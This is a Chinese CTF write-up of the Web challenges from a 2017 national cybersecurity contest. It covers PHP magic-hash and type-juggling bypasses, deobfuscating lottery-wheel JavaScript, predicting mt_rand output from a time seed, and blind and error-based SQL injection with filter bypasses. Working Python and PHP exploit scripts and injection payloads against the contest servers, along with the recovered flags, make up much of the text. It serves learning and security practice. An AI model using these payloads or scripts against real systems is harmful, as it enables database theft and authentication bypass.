您的位置:首页 > 理论基础 > 计算机网络

第三届全国网络空间安全技术大赛 Web补题 By Assassin(持续更新)

2017-04-20 17:29 776 查看
最近比较忙,可能补题的速度慢一些些~

签到题

首先进入界面发现如下代码



然后就知道用==弱匹配,构造一个纯数字串和一个纯字母串,让他们的MD5值形如0exxx且0e后面全是纯数字。就构成科学记数法0==0,payload

Username:QNKCDZO
password:240610708


进去后发现还有一个简单的绕过



我们看到又是==,有一个参考表,大家一看便知~



post的payload构造如下

message={"key":0}


抽抽奖

看到这题首先想到转盘模板,应该是js,然后看源代码的时候发现了jQurey.js这个函数有点特别,因为有一段jother加密的代码,而且相当大,没法直接运行。

然后我们在下面可以看到控制转盘的函数,通过chrome中的console调试可以发现这个可以控制转盘的方向等等。而其中的jsctf0 还是jsctf1变量也好都是我们可以更改的。

$(_$[0]).rotate({
bind: {
click: function() {
var jsctf0 = [0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x7, 0x8];
jsctf0 = jsctf0[Math.floor(Math.random() * jsctf0.length)];
console.log(jsctf0);
if (jsctf0 == 0x0) {
timeOut()
} else {
var jsctf1 = [0x0];
jsctf1 = jsctf1[Math.floor(Math.random() * jsctf1.length)];
if (jsctf1 == 0x1) {
rotateFunc(0x1, 0x9d, _$[1])
}
;if (jsctf1 == 0x2) {
rotateFunc(0x2, 0xf7, _$[2])
}
;if (jsctf1 == 0x3) {
rotateFunc(0x3, 0x16, _$[3])
}
;if (jsctf1 == 0x0) {
var jsctf2 = [0x43, 0x70, 0xca, 0x124, 0x151];
jsctf2 = jsctf2[Math.floor(Math.random() * jsctf2.length)];
rotateFunc(0x0, jsctf2, 0x0)
}
}
}
}
});


然后我们理所应当的揭秘那个jother加密后的代码,但是那个玩意儿实在是太大了!大概7000万字节,很难弄,但是我们可以利用chrome浏览器啊!console是一个很强大开发工具!我们可以输入指令。比如说如下!!!猜测flag?



浏览器已经帮你解决好了,但是这一步多少还是蒙的,其实分析刚刚看的代码知道调用功能的关键函数是rotateFunc函数,那我们在console中看一下rotateFunc函数也能得到关键函数getFlag~

得到代码如下

直接一搞就看到了

(function() {
window.getFlag=function(text){  if(text=='1'){      alert("你最厉害啦!可惜没flag")  }   if(text=='2'){      alert("你太厉害了,竟然是二等奖")   }   if(text=='3'){      alert("你好厉害,三等奖啊")  }   if(text=='flag'){       alert("flag{951c712ac2c3e57053c43d80c0a9e543}")     }   if(text=='0'){      alert("再来一次吧")  } }
})


继续抽

首先还是转盘,F12打开源码,发现当前的代码存在,整理后的格式为

$(function() {
var rotateFunc = function(jsctf0, jsctf1, jsctf2) {
$('#lotteryBtn').stopRotate();
$("#lotteryBtn").rotate({
angle: 0x0,
duration: 0x1388,
animateTo: jsctf1 + 0x5a0,
callback: function() {
$.get('get.php?token=' + $("#token").val() + "&id=" + encode(md5(jsctf2)), function(jsctf3) {
alert(jsctf3['text'])
}, 'json');
$.get('token.php', function(jsctf3) {
$("#token").val(jsctf3)
}, 'json')
}
})
};
$("#lotteryBtn").rotate({
bind: {
click: function() {
var jsctf0 = [0x0];
jsctf0 = jsctf0[Math.floor(Math.random() * jsctf0.length)];
if (jsctf0 == 0x1) {
rotateFunc(0x1, 0x9d, '1')
}
;if (jsctf0 == 0x2) {
rotateFunc(0x2, 0xf7, '2')
}
;if (jsctf0 == 0x3) {
rotateFunc(0x3, 0x16, '3')
}
;if (jsctf0 == 0x0) {
var jsctf1 = [0x43, 0x70, 0xca, 0x124, 0x151];
jsctf1 = jsctf1[Math.floor(Math.random() * jsctf1.length)];
rotateFunc(0x0, jsctf1, '0')
}
}
}
})
})


我们发现下面还是转盘的控制函数嘛,但是上面就是get访问什么东西,构造就行了,首先我们需要到token.php上面拿到token值放到url中(这里token测试过不会变)。那么生成id的值的时候需要一个encode函数,这个是他自己写的,没关系我们再用console查询!



整理后的为

function encode(string) {
var output = '';
for (var x = 0, y = string.length, charCode, hexCode; x < y; ++x) {
charCode = string.charCodeAt(x);
if (128 > charCode) {
charCode += 128
} else if (127 < charCode) {
charCode -= 128
}
charCode = 255 - charCode;
hexCode = charCode.toString(16);
if (2 > hexCode.length) {
hexCode = '0' + hexCode
}
output += hexCode
}
return output
}


简单的加密格式转换而已,然后最关键的问题来了,rotateFunc函数中的jsctf2变量是转盘中调用到的函数,代码中只有0,1,2,3,而且肯定没答案。我们怎么知道是什么呢?脚本暴力构造!

上面思路理清了代码就不难写了

# -- coding:utf-8 --
import requests
import pyquery
import hashlib
cookies={'PHPSESSID':'3k2rd4536me3rjsojf473vctd7'}

def encode(string):
key=""
for i in string:
if ord(i)<128:
temp=ord(i)+128
elif ord(i)>127:
temp=ord(i)-128
hexcode=255-temp
hexvalue=""
if len(hex(hexcode)[2:])==0:
hexvalue+="0"
hexvalue+=hex(hexcode)[2:]
key+=hexvalue
return key

s=requests.Session()
for num in range(256):
url='http://117.34.111.15:81/'
token = s.get(url+"token.php",cookies=cookies).text[1:-1]
#print token
have_encode=encode(hashlib.md5(str(num)).hexdigest())
#print str(have_encode)
makeurl=url+"get.php?token="+str(token)+"&id="+str(have_encode)
#print makeurl
html=s.get(makeurl,cookies=cookies).text
if 'flag' in html:
print html




Wrong

找到这个 .index.php.swp 通过恢复文件 vim -r index.php 得到下面源码

<?php
error_reporting(0);
function create_password($pw_length=10){
$randpwd="";
for($i=0;$i<$pw_length;$i++){
$randpwd.=chr(mt_rand(33,126));
}
return $randpwd;
}
session_start();
mt_srand(time());
$pwd=create_password();

if($pwd==$_GET['pwd']){
if($_SESSION['userLogin'==$_GET[login]]){
echo "Good job, you get the key";
}
else {
echo "Wrong!";
}
}
$_SESSION['userLogin']=create_password(32).rand();
?>


这个题目还是考察的php魔法,一开始第一反应$pwd==$_GET[‘pwd’]能否构成0==String,但是发现$_GET[]没法实现整除的传参。然后就注意到了伪随机数mt_sand ,只要本机的随机数种子 time() 和服务器一致,就生成完全一样的字符串!

然后后面的$_SESSION[‘userLogin’]==$_GET[login],可以通过删除Cookie的方法构造成NULL==NULL(第一次的时候话没有Session所以为NULL,我们构造userLogin=来构造NULL)

然后写一下代码就好了,这里需要保持本机和服务器的时间同步?不知道服务器什么时间就暴力跑好了~(ps:这个服务器时间实在是不知道,都试试吧~)

#我过了的代码如下:
<?php
require_once '/include/Requests-1.7.0/library/Requests.php';
Requests::register_autoloader();
$url = 'http://117.34.111.15:85/index.php';
function create_password($pw_length = 10){
$randpwd = "";
for ($i = 0; $i < $pw_length; $i++){
$randpwd .= chr(mt_rand(33,126));
}
return $randpwd;
}
$headers = array('Cookie' =>"");
for($i=-100;$i<=0;$i++){
mt_srand(time()+$i);
$pwd = create_password();
$rep = Requests::get($url."?login=&pwd=$pwd");
$content = $rep->body;
$pos = strpos($content, "Good job");
if($pos!==false){
echo $content;
}
}
?>




flag{rand_afjk_u8nm_uq2n}

so easy!

首先开头我们得到了源码。我们看到主要有三个功能



然后我们看到login函数中要admin



然后再看show函数功能,我们可以查询admin的role角色,如果正常查的话一定是admin is admin!



然后就是涨姿势的时候了!黑科技用Mysql中的位运算可以构造注入点!看一下本地的实验结果



构造username=0’^1^’1



而且我们通过login函数的查询语句,知道了passwd的位置就在user之下吧!那么我们看一下过滤函数,什么都过滤了,但是!没有过滤ascii、mid、select、from!然后我们可以用()来代替空格

简单讲一下mid这个函数为什么在过滤了逗号时候可以利用,mid函数的参数是 mid(查询变量,start,len) ,但是我们可以这样构造mid(查询变量 from start),也就是说mid可以控制查询变量的起点而ascii这个函数,当查询的是串的时候后面都会截断! 下面是本地的实验





接下来就是盲注了~懂了构造的原理代码就很简单了

# -- coding:utf-8 --
import requests
url='http://117.34.111.15:89/?action=show'
s=requests.Session()
passwd=''
for l in range(1,32):
for c in range(1,133):
username="0'^(ascii(mid((select(passwd)from(user)where(username='admin'))from(%d)))=%d)^'1"%(l,c)
data={'username':username,'passwd':123}
html=s.post(url,data=data).text
if 'admin' in html:
passwd+=chr(c)
print passwd
break


然后我们可以爆出来的passwd答案是



37b1d2f04f594bfffc826fd69e389688

然后不让我们用admin登陆,怎么办呢?utf-8编码问题绕过,超过可见字符就截断了!



flag{e4d93a53bbe9a2f9c419086c16439aa7}

just a test

不得不说自己的水平还是太低了,一开始实验的时候连注入点都找不到,本来以为是在什么地方存在什么,后面发现了注入点不是别的地方!正是我们的url路径上!没想到查询每一个页面的时候用的就是mysql的语句,的确是学习了。



然后明显的感觉就是报错注入吧,这里可以用ExtractValue或者UpdateXml函数的经典报错注入,下面进行一下简单的尝试。发现这两种方法都是可以用的~下面得到当前的数据库为test1



但是我们想要的内容不一定在test1中,还是需要报数据库名,发现还有一个test



然后我们需要爆一下表名,因为表的名字比较多,不妨写个脚本提取。

# -*- coding:utf-8 -*-
import requests
import time
import re
s=requests.Session()
for i in range(1,100):
url="http://117.34.111.15:83/' and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit %d,1)))  and '1'='1"%i
html=s.get(url).text
content=re.findall(r'\'(.*?)\'',html,re.S)
print content[0][1:]


然后我们发现了端倪,表fl@g



然后我们再爆列名吧~稍微修改就行

# -*- coding:utf-8 -*-
import requests
import time
import re
s=requests.Session()
for i in range(1,1000):
url="http://117.34.111.15:83/' and extractvalue(1, concat(0x5c, (select column_name from information_schema.columns limit %d,1)))  and '1'='1"%i
html=s.get(url).text
content=re.findall(r'\'(.*?)\'',html,re.S)
print content[0][1:]


然后我们能发现ctf中明显的提示指向…



然后就好办了,查询字段内容即可,但是这里有个坑点!fl@g这个东西在mysql会把@后面的当成变量!所以我们需要加上“符号

事实证明这个要的flag就是不在test1中



那就是在test中喽~



但是真的是答案吗?不是滴,因为ExtractValue或者UpdateXml报错出来的都只有32位的!具体的恐怕还是要用盲注了!

# -*- coding:utf-8 -*-
import requests
s=requests.Session()
flag='flag{99cd1872c9b26525a8e5ec878d'
for i in range(32,50):
end=0
for j in range(32,127):
url="http://117.34.111.15:83/' and ascii(mid((select f1ag from test.`fl@g` limit 0,1),%d,1))=%d  and '1'='1"%(i,j)
html=s.get(url).text
print chr(j)
if "404 - Page Not Found" not in html:
end=1
flag+=chr(j)
print flag
break

if end==0:
break




真正答案~flag{99cd1872c9b26525a8e5ec878d230caf}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: 
相关文章推荐